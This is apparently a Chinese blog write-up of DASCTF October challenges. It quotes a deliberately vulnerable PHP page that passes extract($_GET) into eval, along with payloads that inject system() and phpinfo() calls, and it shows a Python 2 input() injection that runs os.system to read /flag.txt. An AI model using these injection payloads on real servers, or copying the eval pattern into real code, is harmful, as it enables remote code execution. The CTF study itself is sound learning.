DASCTF Oct X web

Web 欢迎来到魔法世界

打开容器,即进行php代码审计

<?php
highlight_file('index.php');

extract($_GET);//将GET方式传递的参数赋值
error_reporting(0);
function String2Array($data)//eval那里存在命令执行
{
    if($data == '') return array();
    @eval("\$array = $data;");
    return $array;
}


if(is_array($attrid) && is_array($attrvalue))//需要传入的参数都是数组
{
	//这段代码我总结是一个php代码闭合的过程
        $attrstr .= 'array(';
        $attrids = count($attrid);
        for($i=0; $i<$attrids; $i++)
        {
            $attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
            if($i < $attrids-1)
            {
                $attrstr .= ',';
            }
        }
        $attrstr .= ');';
}

String2Array($attrstr);

我的解法

但是比赛的时候,我刚开始一直在想中间那一段代码需要怎么构造,才能够命令执行,审了好大会儿,然后忽然发现,如果下面这个判断不成立的话, 那么就不用进行构造了

f(is_array($attrid) && is_array($attrvalue))

而代码的开头有extract($_GET);,可以直接进行赋值,所以我们可以直接传参attrstr

?attrstr=system('ls');

在这里插入图片描述
哈哈哈,回显表明方法可行,然后查看根目录/,发现有个flag.sh,价值不大。。。。。
查看phpinfo(),可以找到flag

?attrstr=phpinfo();

在这里插入图片描述

师傅的wp

之后和Cubestone师傅交流的时候,师傅用的比较正规的解法,学习一下

?attrid[]=1&attrvalue[]=");phpinfo();$a=("

有几个要注意的地方

  1. count()函数返回数组中元素的个数,那么attrid数组,传一个元素进去即可
$attrids = count($attrid);
  1. payload中的前两个参数是数组形式
  2. 需要闭合",payload中最后的$a=(“就是为了闭合”

Misc WELCOME DASCTFxJlenu

nc连接

nc node4.buuoj.cn 29020

然后利用python2的input漏洞(我把它和python的模板注入联系在一起了)

__import__('os').system('ls /')
发现flag.txt
__import__('os').system('cat /flag.txt')

得flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值